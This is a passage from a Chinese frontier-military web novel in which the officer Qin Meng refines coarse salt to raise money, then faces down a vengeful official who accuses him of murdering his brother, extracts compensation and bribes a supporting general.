开荒时铁锹锄头等工具损耗,开春所需的种子。
招募的工匠、士兵、劳力,安家费、后续的月钱。
士兵的训练更是消耗大户,人人肚皮如通到了界河,飞舞的箭头损耗等,通通都是钱呐!
从刘德才密室缴获的金银珠宝,曾让他血脉偾张,兴奋一阵子,如今却如阳光下消融的冰山。
消耗远快于补给,不,是只出不进。
这样下去的结果,一个极其残酷的现实摆在眼前:
坐吃山空!
现实如悬顶之剑!
没有持续的财源,眼前辛辛苦苦聚拢起来的力量,顷刻间就会土崩瓦解,比鞑子的刀锋更快地杀死他所有的希望。
“赚钱,赚大钱。立刻,马上!”
秦猛攥紧拳头,压力如山催逼,他的大脑急速运转。
在这穷山恶水的边疆,强敌环伺,能快速见效的合法暴利行当何其稀少!
最终他锁定在两样东西上。
盐和酒!
盐,尤其是精盐,等同白色黄金!
大周王朝,最顶级的‘玉华盐’、‘霜花盐’则专贡皇室勋贵,粒细洁白如霜雪,市面上,千金难求。
当下市面上流通的,多是粗盐,甚至是连“粗盐”都算不上的“苦盐”。
这种苦盐,味极苦涩,须自行研磨、淘洗,其中混着沙砾、泥土乃至有毒矿物质,方可使用。
即便是边军供给的盐巴,也是杂质较多的粗盐。可想而知百姓的用盐,是非常有搞头的。
“若,若能提纯一下这些粗盐,做成近似‘雪花盐’的东西......”
秦猛心脏不受控制地猛跳起来。利用军堡之便、利用常九的商路脱手。
低买粗盐,高卖精盐。
这是暴利,其中的利润将是恐怖的。
酒,同样是个财源门路。
大周市面上流行的,不过是类似甜醪糟汁的米酒、黄酒,喝起来甜甜的,顶天了也就十来度,浑厚谈不上,更别说驱除严寒的烈酒。
蒸馏技术似乎还不存在?
至少秦猛这边疆从未见过。记忆中简陋的蒸馏设备并不难搞。
只需耐高温的器皿、锡或铜制的引导管、冷凝池就行。高度数白酒有难度,但先小批量产出一些三十度左右的“蒸烧酒”绝对没问题。
这种酒精度适中,香气也更浓郁集中,对于冰天雪地里劳作的边民、常年守卫边关的将士,绝对是梦寐以求的驱寒佳品,绝对能畅销。
“必须立刻动手!”
秦猛眼中精光爆射,想到就做。
蒸馏器具比较麻烦,需要找作坊师傅们合计合计。过滤盐、熬煮就相对简单,他开始制精盐。
营地校场上,刘铁柱领着四十多军汉站军姿。
而在另一侧的水井旁,秦猛则带人忙碌起来。
营地里本就有土灶,数口大铁锅架上,十几个大木桶,及木匠赶制的奇巧漏斗装置并排而立。
灶台连带着紧挨的铺屋,被秦猛选定为作坊。
大堆灰黄粗盐堆在角落,这是苦盐。
盐块上沾着泥沙,凑近便有股苦涩刺喉的杂味。
“锤碎盐块,注水搅拌!”
随着秦猛的吩咐,军汉们抡起石锤将盐块砸成碎粒,投进巨桶里,注水搅动,顷刻间便成了浑黄浊浆。
秦猛又令撒入碎木炭末,众人持长棍大力翻搅,让木炭充分吸附盐浆中的杂质与毒素。
“起!”秦猛亲自督阵,几名健壮军汉合力抬起沉甸甸的浊浆桶,小心倾入一旁的特制木桶。
这木桶内藏玄机:底层铺着纱布,其上厚逾拳的洁白细沙,再上面覆着寸许焦黑碎炭,复铺一层更细的白沙,又叠一层木炭块,最顶端盖着蓬松的干茅草,层层叠叠如精密筛网。
浑黄的盐浆缓缓渗入桶中,先经茅草滤去浮尘草屑,再透细沙筛除泥沙,木炭层贪婪吸尽杂味毒素,最终穿过桶底的纱布,滴落的竟是澄清透亮的盐水!
这般过滤反复数遍,桶中便积起了清亮的浓盐水。秦猛用手沾了一点放入嘴中,味道齁咸,没有苦涩的杂味,看来,不用添加热豆浆。
“静置澄净,入锅熬煮!”秦猛脸上浮现笑容,这种过滤方法省了一笔钱,他一声令下。
清亮的浓盐水被小心舀入巨锅。灶下烈焰熊熊,舔舐着铁锅底部。周围温度急速升高,热浪被风吹着飘向操场,暖和了站军姿的戍卒。
咕咚咕咚,铁锅里盐水翻腾着。
水汽蒸腾间,锅沿渐渐凝出细密的盐晶体。
待水被熬干,锅面,锅底余下的竟是细若初雪、洁白晶莹的精盐,晶莹剔透,毫无半分杂质。
“老天爷!这…这是盐?”围观的军汉们瞬间哗然,满脸难以置信。
李山瞪大了眼睛,他是亲自操作,把苦盐敲碎注水的。顾不得烫,忍不住捻起一撮送入口中,
“嘶——!”纯粹的咸鲜瞬间在舌尖炸开,竟无半分往日粗盐的苦涩,他惊得说不出话来。
“这是玉华盐?”
“化腐朽为神奇,这简直是点石成金啊!”闻讯赶来的张富贵失声惊叹,望向秦猛的目光里满是震骇。
那等污秽不堪的粗盐块,竟真能变成这般琼浆玉屑般的好物?
“盐?真是盐。”围观众人尽皆倒吸凉气,看向秦猛的目光中,敬畏与炽热交织,宛如仰望神祇。
秦猛却面色肃然,他深知这制盐之法在落后时代的分量,厉声传令:“都给我记好了——
此乃军堡根本,一等机密!
从即刻起,凡是参与制盐者三人互监,不得私匿、不得泄密。
工坊增设哨卡戍守,无令擅入者斩。
凡妄议此法、泄密于外人者,拔舌断筋,弃堡外喂狼!”
“守口如瓶,违令者,军法无情!”
李山与张富贵应声附和,目光如电扫视众人。
“是!”众军汉皆肃然应声。
他们虽心头惊惧,却更震撼于自家大人的惊人手段。
这座设立在营地边缘的制盐作坊,从此便成了军堡最核心的禁地,守护着关乎生存的秘密。
秦猛吩咐军汉继续制盐,又想起酒这个事情,打算去找老保长王槐,分派人手准备所需之物。
然而,不等他动身,老头却找来了。
急促的脚步声响起,王槐脸色阴沉地迎面走来,语气凝重无比:“秦管队,刘家…来人了!”
秦猛眼神瞬间冷冽如冰霜:“谁?”
“刘德才的嫡亲兄长,幽州府漕运司判官刘德福。缉捕使臣,皆是官身,带了......一队衙役!
“哼,那让他们等着。”秦猛神色很快恢复如常,上前搀扶老保长,来到一口置凉的铁锅前。
“保长,您看看我这盐好不好?”
“我打算招一批盐工,您老看看谁老实肯干?”
“您推荐一批,要信得过的人!”
第16章 对峙起锋芒
刀子似的寒风刮过秦家新砌的院墙。
刚升任管队官的秦猛,地位早已天翻地覆。
堡子中心的官署值房正由王老保长带人修缮。
连他家小院,张富贵、李铁匠也主动帮忙清扫修缮。
谁都没想到,这刚收拾利落的小院,此刻却寒气森森,空气仿佛冻结。
十几个府衙官差攥紧刀柄,钉桩般立在院中,面皮绷得像铁板。
对面,李山领着七八个戍堡军汉,鹰隼似的目光毫不退让,双方隐隐对峙,火药味弥漫。
边上牛棚里面的战马变得安静,默默吃着草料。不时抬头看一眼又很快伏首,它怕极了。
堂屋里的气氛更是剑拔弩张!
秦猛稳坐主位,脊背挺直,一股凛然不可犯的煞气充盈周身。
客位上:
左边坐着南河城寨的李副将,铁鳞甲在昏光中泛着冷硬。他代表南河城寨而来,陪同查案。
右边并排二人:头一位是幽州府七品缉捕使臣杨诚,青袍罩轻甲,眼神如毒针,直往人心底扎。
另一位白白净净却透虚浮的,同样身穿青袍,腰间却刺目地系着条白绫。
——死者刘德才的亲兄,漕运司转运判官刘德福。
刘德福双眼红肿,面色阴沉,一双饿狼般的眼睛死死剜向秦猛,眼中的恨意毫不掩饰。
秦猛面无表情,实则在心里嘀咕!难道自己留下什么痕迹被人发现,才会导致对方这般仇视?
其实是刘德福得了凶讯,赶回奔丧,经调查,得知兄弟抢占别人军功田,得罪了边境丘八。
他觉得近来结仇的秦猛嫌疑最大。便请来好友杨诚直扑这小南河堡,誓要为弟“讨公道”。
杨、刘身后,几个缉捕都头手按刀柄,凶神恶煞。
“秦管队!”刘德福的声音像是从牙缝里挤出。裹着压不住的狂怒,“我弟弟刘德才和他儿子深夜惨死南河镇宅中,这事…你清楚吗?”
“哈哈哈!”秦猛突然仰天大笑,震得灰尘簌簌下落。
“清楚?这简直是天大的喜事!刘扒皮那祸害遭了天谴,可算死了!得知时,大快人心呐!”
他揩了揩眼角笑出的泪,语气轻松得刺耳,“那日堡里人人欢天喜地,我高兴得都多吃了两碗干饭!”
“你——!”刘德福脸上血色瞬间褪尽。圆润的身体“腾”地弹起,手指哆嗦如风中落叶。
他喉咙咯咯作响,却硬是气堵得说不出囫囵话。
“咦?”秦猛故意拉长音调,斜睨着他。
“刘大人如此激动,莫非…哦!”他猛然一拍脑门,浮夸地端起茶杯赔礼:“哎呀,刘大人勿怪,瞧我这记性,忘了那刘德才是您亲兄弟…”
话音未落,秦猛脸色已“唰”地冰寒,声音似北风刮骨。
“刘判官!你当哥哥的,怎么不约束兄弟?任其在乡里作恶,欺男霸女,落个‘扒皮’的臭名!招来杀身之祸,你这兄长,难辞其咎!”
“噗——!你、你休要血口…”刘德福浑身筛糠,唇色青紫,指着秦猛,想骂却说不出话来。
杨诚见状,一把将刘德福按回凳子上,毒蛇般的目光紧盯秦猛:“秦管队!废话少叙。
经我查实,你与刘保正素有旧怨。他一家被害,是否与你有关?”
冰冷的官威带着质问,如冰水浇头。
“哼!”秦猛脸色一沉,“砰”一声将茶杯重重顿在桌上,反唇相讥:“杨缉捕,你不过地方抓毛贼的七品武官,也配如此喝问戍边管队官?”
他眼神陡然锐利如刀,厉声反诘,“空口白牙就想栽我一个‘嫌犯’的脏名?照你这法子。
本官看你印堂发黑,眉带煞气,此面相不是穷凶,就是极恶,是否这血案…你也脱不得干系?”
“放肆!休得胡言乱语!”杨诚被顶得脸色血红复转铁青,目眦欲裂。
“胡言?我看是有人存心构陷!”秦猛冷笑抱臂。
“既无实证,就敢上门发难。名义上询问,实则栽赃陷害。行!从现在起,本官一字不答。免得被你等拿捏语病,硬扣一顶‘凶手’的帽子。”
他无所谓地耸耸肩,摆出不合作姿态。
“你…”杨、刘二人气得胸如风箱。
眼看僵局难破,一直闭目养神的李副将陡然睁眼,目光如电扫过杨诚:“杨缉捕,办案自有法度章程。有铁证,便行文帅司按律捕人。
若无证据,那就请遵法查案。想在这边堡之地,行恫吓威逼之举。在这幽州边陲,不好使!”
他声音陡然拔高,带着金戈撞击般的冷硬,又转向刘德福,更不客气:“刘判官,你乃苦主亲眷,律法当避嫌。从现在起,闭口为妙!”
李副将敢如此硬气,倚仗的正是大周铁律:
边陲驻军是军事重地,边堡戍卒隶属军籍,州县衙署无权擅审擅捕。须行文边军帅司或所在城寨,铁证如山方可拿人,否则便是蔑视军威。
这铁律护身符,正是秦猛握在手中的根基依仗。
“秦管队,”李副将转向秦猛,语气稍缓,“魏知寨有令,有问照实答便是。大周朗朗乾坤,自有律法明鉴,无人可构陷忠勇将士。”
“是,李将军。”秦猛顺坡下驴,拱手应下。再看向杨诚时,脸上已只剩不耐,“你有话快问!本官要带队巡视,军务繁重,没空闲耗!”
“你…”杨诚被那个刺耳的“你”字激得眼底冒火,却不敢发作,强忍怒气,按流程问询:“秦管队,刘德才遇害一事,你是否知情?”
秦猛双手交叠置于腹前,神情平静如深潭。
“知情。此獠伏诛,秦某甚慰。”
他回答得正式,字字却如刀剐刘德福的心,“彼时消息传开,堡中军民,无不拍手称快!”
刘德福身体抖动着,眼缝里寒光暴射。
杨诚面色一僵,急问:“案发前后,堡中可有异常?或是有无…人员外出前往南河镇?”
“异常?”秦猛嘴角勾起一丝若有若无的弧度,“堡里刀兵之地,天天有鞑子探马像鬼影般侵扰,算不算异常?
堡中老幼,谁不是恨不得日夜缩在堡墙内保命?谁敢拿性命冒险外出?”
他身体微微前倾,目光如炬锁定杨诚,“当日夜晚,我本人正在堡外狩猎,追猎鞑子探马,林中激斗痕迹犹存。
堡内百姓、城外常家商队的李管事皆可佐证。天色欲晓,与秦队将携鞑子首级赴城寨报功。
半途却还遇巡检司那帮宵小意图截功夺利。此事…想必杨缉捕怕是在城寨已‘查’过了吧?!”
他特意重咬了“查”字。
“不错!”李副将立刻接话,声若洪钟,“斩获鞑子九级。时间、地点、证人,城寨功勋文书铁证如山。巡检司官兵亦可印证好,
此前在南河城寨,他已查验过记录,亦详询过守堡军士!”这番话既是陈述事实,又是对秦猛说的,更是对杨诚的严厉敲打,警告。
——你的调查早已确证秦猛不在场。
“那……”杨诚暗自咬牙,眼珠急转,忙换方向:“据查,秦管队与刘保正,似乎积怨已久?”
“没有,从未见过。”秦猛断然否认,斩钉截铁。
“你放屁!”刘德福再也压抑不住,尖声嘶叫,“你分明欠我弟弟一百二十贯赌债,他带人上门讨要,无钱还债不说,你还行凶伤人,是一庄客打晕了你,几天后,他就…全家都……”
说“全家”二字,刘德福刻意带上哭腔。
“啧啧啧,好一个上门讨债。”秦猛等的就是这句,立时发出刺耳冷笑,“几日前,我秦猛还是个痴症之人。浑噩度日,只识妻妹。
路人尚且分不清。敢问刘判官——”
他身体前倾,极具压迫感地逼视刘德福,“刘判官,你告诉我。这样一个痴傻之人,如何知道入赌坊耍钱?又如何欠下你家天价赌债?”
“此事本将亦有耳闻。”李副将适时神助攻,语气铿锵,“南河城寨数度核查,秦管队前评皆是‘痴症无状’。故其一直未萌补入军籍,更兼——”
他转向刘德福,目光如刀,“本将依稀记得,据本朝律令,痴症者所欠赌债,一概作废。”
“这…这是……”刘德福眼珠瞪得滚圆,张着嘴,如同岸上濒死的鱼,噎得说不出完整句子。
杨诚心中警铃大作,正欲设法圆场。
秦猛岂会给他喘息之机?乘胜猛追,矛头直指二人核心:“哼!我看这所谓的‘赌债’,纯粹是你刘家罗织构陷,图谋我秦家祖传宝物。
至于你刘德福,没有半分证据,至此搅闹。与刘德才无异,名为查案,实则意图污蔑栽赃。”
“荒谬!休要诬蔑…”刘德福面如猪肝,只剩下苍白的辩驳。
“砰——!”秦猛猛然一掌击在桌面,茶杯震得跳起老高。
他“霍”然起身,本就魁梧的身躯裹挟着凛冽战场煞气骤然爆发。宛若猛虎出匣,煞气盈堂。
那双淬了冰锋的眼睛狠狠剐过刘德福那张煞白的胖脸,随即死死钉在杨诚脸上,声音如寒铁刮过冰面:
“尔等若真有铁证,能证我秦猛与此案有半分牵连,大可立报朝廷,行文帅司,锁拿便是!”
他语速猛地一沉,每个字都像从冰窟中捞出:
“若无凭证…就请诸位——打哪儿来,滚回哪儿去!”
最后一句,音量并未拔高,却带着不容置疑的冰冷杀伐之气。他环视全场,嘴角缓缓咧开,露出一个近乎残酷的、野兽噬人的锋利弧度:
“若敢再在此地无凭攀咬,休怪本官无——情——!”
第17章 旧债当堂讨
“休怪本官无情。”
轰!六个寒冰铸成的字,沉沉砸在死寂的堂屋。
秦猛如山屹立,煞气逼人,冰冷的目光锁死杨、刘二人。那凛冽的杀意仿佛冻结了空气,在室内无声奔涌。
李副将眼底掠过惊异,此等气势绝非普通武官所拥有!
杨诚面色铁青,被那股煞气所慑,脚下如同生根。
“休怪本官无情”几个字如铁锤,狠狠撞在刘德福心口。
他脸色由青转白,由白变灰,身躯不可抑制地微微颤抖。
一个区区边堡管队官,不入流的武职。
竟敢如此咆哮他这位州府的实权判官?
不仅全盘否认,反咬一口,更是当众出言威胁。
“反……反了!你敢威胁上官?反了?”
刘德福唇齿哆嗦,手颤抖地指着秦猛,声音尖厉变形。
“反了?我看要反的是你!”秦猛非但不退,右掌闪电般扣紧腰间直刀刀柄。嘴角牵起一丝冻入骨髓的冷笑:“刘大人。睁大你的眼睛看清楚。”
“这、里、是、小、南、河、堡!”他一字一顿,声音压得低沉却更慑人,“是拿血肉堵鞑子铁蹄的边塞军堡,不是你州府衙门的文雅内堂!”
“放肆!”刘德福眼角几乎瞪裂。
身后缉捕齐声厉喝,“锵啷”一片脆响,手按刀柄,齐齐踏前一步!
“狗东西!活腻了敢在这儿撒野?”秦猛身后,没神班的张富贵甩脸喝骂,拔出剔骨尖刀。
几乎同时,秦猛左手“唰”地抖出一份文书摔在桌案:“帅司行文在此,本官身负守土之责。”
“命案证据何在?单凭你刘德福上下两片嘴皮子,就想构陷战功边将?就敢锁拿朝廷命官?”
他目光如刀,割裂刘德福强撑的官威,声音转冷:
“没有确凿证据,就上门抹黑,栽赃,尔等行径,无异构陷戍边将士。严重妨害边防军务,本官能忍——”
他声音陡然拔高,震得屋瓦嗡鸣:“这南河堡常年与鞑子血战余生的军民——却忍无可忍!”
最后一句,如同巨石落地,彻底砸碎了刘德福脸上最后一丝血色。
院外人影晃动,愤怒的骂声,杀声交织在一起。
眼前这尊煞神,目光冰冷,威压如山。
此刻,刘德福只觉得一股刺骨寒意从尾椎直冲天灵盖。
强行动手?
在这刀尖舔血的孤堡绝地?后果……不堪设想!
呜——呜——
寒风穿墙过隙,呜咽如诉。
“咳……刘判官爱弟心切,言语或有不当,还望秦管队海涵……”杨诚干咳一声,挤出生硬笑容打圆场。
“不当?”秦猛冷嗤一声,目光如电扫回刘德福,“那日刘扒皮率众强闯我宅,劫掠粮秣财物,重伤我及妻妹。
若非天意,秦某此刻怕已尸骨早寒。”
他嘴角勾起一个毫无温度的弧度,“刘大人,你说,刘德才暴毙,我该不该拍手称庆?”
“你……”刘德福眼中血丝密布,额角青筋如蚯蚓般暴跳,牙关紧咬,却硬生生将翻腾的怒骂咽了回去——不能再给这刁钻凶狠的军汉递刀子。
秦猛杀气稍敛,冰冷的逻辑更显森然:“不过,令弟‘刘扒皮’恶名昭彰,恨其入骨者何止千百?天晓得是哪路义士替天行道?或是……”
他目光掠过刘德福灰败的脸,投向窗外凛冽的河谷深处,意有所指:“草原上鞑子越境所为。”
“秦管队所言,不无道理!”李副将适时接口,语气斩钉截铁,“青阳县巡检司已有公验文书上报。
——‘疑为鞑子游骑流窜劫掠所为’!边地凶险,死因不明之案历年皆有!杨缉捕,若无新证……”
他眼神凌厉,逐客之意已明。
杨诚心中雪亮:刘家不仅理亏在先,更无半分实证。
南河城寨态度强硬再明显不过。
纠缠下去,自己颜面尽失,恐引火烧身惹一身骚。
他僵硬地拱了拱手:“事情调查清,那我们…”
“慢着。”秦猛的声音不高,却如冰棱断裂,陡然截断话头。
杨诚刚抬起的脚僵在半空。
刘德福猛地抬头,浑浊的眼珠深处,一丝阴鸷之光疾闪而过——这伶牙俐齿的混账还想怎样?
李副将眉头微蹙,却并未出声。
堂内,所有人的目光瞬间聚焦秦猛。
秦猛转向李副将,抱拳朗声道:“谢李将军主持公道。然,当日刘扒皮为祸之旧怨,尚有尾结未了。斗胆恳请将军,再为秦某做个见证!”
“讲。”李副将沉声颔首。
秦猛目光如电,直刺刘德福眼中惊疑不定的深处,字字沉凝如冰:“刘扒皮横死,咎由自取,此不论。然,当日他强闯秦宅,劫掠之仇,未了!”
“些许钱粮、杂物掠便掠了,”他语气陡转切齿,恨意迸发,“那厮竟敢劫走我秦家祖传之宝——御赐腰带!更夺走我爹用性命换来的。
——五十亩军功田契!”
“什么?军功田契?”李副将的脸色变得铁青,双目圆瞪如铜铃,一股铁血煞气轰然爆发。
“大胆!”李副将的咆哮如平地惊雷。
“军功田,乃天子酬报疆场效死将士之血肉恩赏。国之根基,国法森严护佑。谁敢觊觎?
刘德才狗胆包天,竟敢染指——其罪当千刀万剐!”
他猛地扭头,厉声断喝亲兵:“速备文书,火漆封印。六百里加急,奏报帅司,一字不得有误。”
“刘德福。”李副将目光如两柄烧红的烙铁,狠狠烙在刘德福瞬间惨白如纸的脸上。
“听着:令弟所掠秦家一切财物、祖传御赐腰带,必须分毫无损、原样奉还!”
他“锵”一声,大掌重重按在腰间刀柄之上,杀气弥漫:“另依戍堡铁规,双倍赔偿毁损屋舍、殴伤秦管队及家眷的汤药费、养伤钱、误工之耗、惊吓之损,一分一厘不得少。”
“若有丝毫拖延、克扣……”李副将齿缝间挤出冰碴般的声音,“休怪李某——按军法行、事!”
“军法行事”四字,如同烧红的铁钳,狠狠夹在刘德福心脏上。一股腥甜直冲喉咙,又被他死命压下。
杨诚身体绷紧如拉满的弓弦,按刀的手背青筋毕露,指节因用力而惨白。
——强夺军功田?
此事一旦做实,便是泼天大祸。
在这天高皇帝远的军堡,一名统兵副将以“通敌谋夺军资”、“戕害有功将士”为名,将他这个文官连同一众衙役立斩当场,事后也难追责。
“将军息怒,请息雷霆之怒!”
杨诚咬牙跺脚,一个急转身,腰几乎弯到地上。
他脸上堆砌着十二分惶恐与无辜,“刘德才强占军功田之事……下官毫不知情。此来纯为公案,绝无私心牵涉才,”
他那双三角眼陡然射出刺骨寒光,死死钉住筛糠般的刘德福,声音陡然拔高,严厉得近乎喝斥。
“刘判官,听见将军钧令没有?军功田契乃国朝柱石,铁律如山。不容狡辩,令弟所作所为……哼!人虽死,债必偿,将军的话,你听清楚了没有?”他几乎吼出来,拼命使眼色。
“速速,将那劫掠之物、赔补之资,如数奉上。此刻,莫要再生枝节,记住了——来日方长!”
最后四字,几乎是从牙缝里重重挤出。
刘德福脸上血色彻底褪尽,惨白如刷了层石灰。冷汗浸透官袍后背,紧贴在冰凉粘腻的皮肉上。
绝境!身前李副将杀意盈室;杨诚翻脸比翻书快;院外刀枪倒影寒光刺目。
堂下秦猛,如同择人而噬的凶虎,目光冰冷、执拗、毫不掩饰那份贪婪,静待他刘家割肉放血。
砧板鱼肉!他毫不怀疑,此刻若敢吐半个“不”字,
下一秒,便可能血溅五步。
然而,数十年官场沉浮练就的本能,将那份几乎将他滔天怒火和恐惧,死死压入心底深处。
他缓缓抬起头,目光幽深如古井寒潭,死水般平静地迎上秦猛锐利的目光,声音竟异样地平稳:
“秦管队所言旧怨,皆系我那不成器的兄弟所为。刘某闻讯回来奔丧……的确,不知情。”
他先撇得干干净净,语速平缓。
“不过……”他话锋微顿,那对看似因“悲恸”而红肿的眼皮下,一丝刻毒的寒芒稍纵即逝。
“既然李将军在此主持,军功田契关乎国法重器,刘某……认赔。”
他目光平静地扫过秦猛,仿佛在清点一笔无关痛痒的账目:“开个数。”
“五百两银子。一千石粮。秦家御赐腰带,五十亩军功田契。”秦猛目光如铁,分毫不让。这送上门挨宰的肥羊,不割一刀,天理难容。
“我秦家的东西不是那么好抢的。原物原样奉还。”
“好。”刘德福回答得干脆利落,毫无犹豫。反正东西不是他出,割的不是自己心头的肉。
“两日后,南河镇运抵堡外。刘某——告辞。”
刘德福袍袖一拂,白绫飘荡,他转身就走,步履平稳得不似刚刚经历重创,背影挺直如初入时。
“走!”冰冷如铁的命令丢向杨诚及缉捕,他当先迈出堂屋门槛,再未回头kan秦猛一眼。
“刘大人走好。军务繁杂,恕不远送。”
秦猛抱拳扬声,脸上笑意盎然,眼底却寒芒如冰。
——咬人的毒蛇,从不张牙舞爪!
这老狐狸的反常平静,才是剧毒蛰伏的征兆!
第18章 这事儿没完
午后的暖阳被乌云吞没,铅灰色的云层沉沉地压在南河堡上空,仿佛随时要砸落下来。
堡外,朔风如刀,卷起漫天枯草与黄沙冲击林带。
刘德福猛地勒住缰绳,刺骨的寒风拼命灌进衣领。似乎将他混沌的头脑冻得清醒了几分。却也将那团冰冷的恨意淬炼得更加尖锐。
杨诚策马紧赶几步,与他并行,声音压得极低,心有余悸地说道:“德福兄…非是杨某首鼠两……”
“杨兄不必多言。”刘德福粗暴地挥手,打断了他,手背上青筋暴起,“其中凶险,我岂能不知?”
“你明白就好!”杨诚长舒一口气,脸上惊魂未定。
“方才……边军那些丘八,杀气几乎要溢出来!城寨,乃至帅司,必定全力护短。我们…证据太虚了!”
刘德福缓缓转过身,目光像淬了毒的刀子,刮过堡门外正挥汗修补围墙的戍卒民壮——那些被风沙刻蚀、粗糙如砾石的脸庞。
最终,他的视线如同两道无形的铁钉,狠狠凿穿堡墙,死死钉在秦猛家宅的方向。
刘德福死寂的眼眸深处,那滔天的怨毒与凶戾再也无法压制,如同被掘开的千年古墓,喷涌出蚀骨的毒瘴。
他开口时,声音嘶哑得如同砂纸摩擦,却带着一种令人毛骨悚然的、近乎癫狂的笃定:
“证据?”
刘德福喉咙里发出一声短促、干涩的冷笑,像夜枭啼鸣,“杨兄,你问我证据?我拿不出来。但我有这——”
他猛地捶了一下自己的胸口:“我有直觉,一种恨,恨得我骨髓里都像有虫子在啃噬!”
刘德福死死盯着衙署方向,每一个字都像是从九幽黄泉深处挤出:“以前只是疑影重重。
现在……我确信无疑,就是里面那个姓秦的匹夫,亲手捏断了我弟弟的喉咙,灭了他满门。只有他有这种胆量,只有他有这种动机。”
杨诚被他话语中透出的阴森寒意激得打了个哆嗦,皱眉道:“直觉?……此人当夜连杀两拨鞑子,许多人皆可作证,不在场证据确凿。
难道他还能分身杀人不成?德福兄,若无如山铁证,帅司岂会动他分毫?南河城寨上下也……”
“哼!那我管不着,刘某认定是他,那便是他。那姓秦的武夫嚣张蛮横,我又岂能饶他?”
刘德福双目泛红,干裂的嘴唇扭曲着,吐出的话语如同淬了蛇毒的冰棱:“明路走不通?那……就走暗道!”
“我堂堂州府漕运判官,为官二十年,交友广泛,手握漕粮转运之权,还碾不死一个边塞武夫?”
他布满血丝的眼球艰难转动,扫过眼前这座初具规模、蒸腾着生机的军堡。
那热火朝天的景象,落在他眼中,却只激起刻骨的恨意。
“这穷乡僻壤,化外凶地……亡命徒、流寇、马匪、甚至……”刘德福顿了顿,从牙缝里挤出两个字,“……鞑子……”
“为了金银财帛,这些家伙什么事……做不出?”
寒风更烈,吹得他腰间那条刺眼的白绫猎猎狂舞,如同招魂的幡。
他最后一眼瞥向这座在秦猛手中“复苏”的堡垒,眼神阴鸷得如同在看一座注定倾覆的乱葬岗。
“刘兄,慎言!”杨诚脸色瞬间煞白,急声低喝,“祸从口出,此事若是传出,后果不堪设想。”
“呵,随口一说罢了。”刘德福扯出难看的笑容,闭口不言。心中却已毒计翻腾,杀心炽烈。
“哼,姓秦的想安心经营这鬼地方?想把它变成铜墙铁壁?想以此抵御…鞑子?呵呵呵……”
一串令人脊背发凉的、毒蛇吐信般的低沉笑声从他喉咙深处滚出。
他不再看杨诚,猛地一夹马腹,决绝地冲入漫天风沙之中,只留下一句在风中飘散的诅咒:
“老子——偏不让!这事…不死不休。”
……
“刘老狗,明着来不行,要来阴的了?”
秦家院内,秦猛脸上挂着和煦的笑容,目送刘德福、杨诚一行衙役的身影消失在风沙尽头。
他眼底深处,却寒光如冰刃闪烁。
秦猛粗糙的手指在袖中紧握成拳,骨节因用力而发出咯咯声响。此刻,胸中的杀意澎湃。
“斩草除根”这个念头如毒蛇般冒出。
刘德福那张看似忠厚实则阴鸷的脸孔就在眼前,这种人之前那种害怕的样子有可能是伪装。
此人一计不成,必有后招。
留着他,后患无穷,如同一把悬在头顶的利刃。
带人追上去,就在这荒郊野外……结果了他。那个姓杨的也不是什么好鸟,一并做掉得了。
念头一起,秦猛眼中厉芒暴涨,但几乎在同时,这火焰刚腾起便被冰冷的理智洪流瞬间浇灭。
“不行!”秦猛在心里掐灭那个念头。
大周王朝虽然衰弱,但瘦死的骆驼比马大。若是光天化日之下截杀朝廷命官,形同造反。
莫说这小小的南河堡,便是十个秦猛捆在一起,此刻也承受不起大周朝廷碾下的雷霆之怒。
“我……还是太弱了。时机远未成熟!”
秦猛深吸一口带着土腥与寒意的空气,强行将心头的戾气压入深渊。转向身旁相送的李副将。
“李将军,劳您亲自走这一趟,秦猛惶恐。之前直言相助下属,末将感激不尽,必有厚报。”
秦猛抱拳行礼,语气沉稳如山,甚至带上恰到好处的恭谦。
李副将闻言回礼,脸上是官场惯有的笑意:“秦管队客气了,不过分内之事,且实话实说。这些地方官员安逸久了,胆子是越来越大。
魏将军临行前还特意嘱咐,要我来看看你这军堡的气象,果然井然有序,军容整肃啊!”
他目光扫过校场上操练的士兵,眼中掠过一丝真实的讶异。这些不久前还是流民农夫的人,短短时日,竟已有了几分令行禁止的雏形。
两人并肩又行几步,寒暄着无关痛痒的话题,默契地落在其他人后面。
就在一个转角僻静处,秦猛动作行云流水般自然,借着拱手作别的姿势,手中一物悄然抛出,精准地落入李副将遍布老茧的手掌之中。
入手沉甸甸,温润而带着金属特有的凉意。李副将心头猛地一跳,多年行伍经验让他瞬间了然。
——是一块成色十足、分量压手的金元宝!掂量之下,足有五两之重。
按当下金贵银贱的官价(约1:10),这便是五十两雪花白银。足够一个普通人家几年用度。
李副将不动声色地收起金元宝,脸上的笑容真挚了七分,如同见了故交,那股官架子荡然无存。
他脚步微顿,凑近秦猛,声音压得如同耳语,充满了“自己人”的推心置腹:
“秦老弟,”他连称呼都变了:“老哥多句嘴。那刘德福……啧啧,我听说过,不仅是科场熬出来的文官,更是在漕运这油锅里滚了多年的老泥鳅,心眼子比那莲藕的窟窿眼还多!”
“哦?老哥,那刘判官……”秦猛顺杆而上,眼神“关切”。
“何止不简单?”李副将冷笑,语带深意,“执掌漕运转运,经手的商队、军饷如过江之鲫,屁股底下能干净?
那也是个心黑手狠的主儿。地方官府与咱们边军向来不睦。
今日他来,无非是借机寻衅,想给你栽个罪名,结果反丢了脸面。此人睚眦必报,断不会善罢甘休。”
他顿了顿,声音更低,字字如锤:“大周律法在上,没有铁证,谁也动不了你。不过……明枪易躲,暗箭难防啊!老弟,千万…要小心。”
这番话,直白无误地点明了刘德福会暗中使坏。
秦猛心中一凛,面上却愈发感激,重重抱拳:“李将军金玉良言,恩同再造。末将字字刻骨,绝不敢忘!”
目送李副将心满意足打马远去,秦猛脸上的笑容瞬间冰封,目光锐利如鹰隼,穿透漫天风沙。
“刘德福啊刘德福,你不疯魔,我怎有机会……斩草除根?”秦猛低声呢喃,杀意凝而不散。
转身回寨,秦猛立刻召集张富贵、李山、刘铁柱等骨干,连燧堡的秦大壮也被火速请来。
修缮过半的衙署,议事房内,气氛凝重如铁。
秦猛将李副将的话稍加转述,并稍微渲染其危害性。着重强调地方官府与边军嫌隙不睦,以及刘德福此行栽赃不成、必施暗算的意图。
“这该死的刘扒皮,死了还要作妖!”李山、张富贵等人闻言,无不怒骂出声,杀气腾腾。
“好了。”秦猛豁然起身,声音沉冷如铁,下达军令:
“张富贵,轮值操练,强度加倍。专练结阵、守寨、夜战。士卒弓不离手,甲不离身。”
“李山,领巡逻队,人数加倍。频次,路径更改。堡墙哨塔,一刻不得离人,给我把眼睛瞪圆了!”
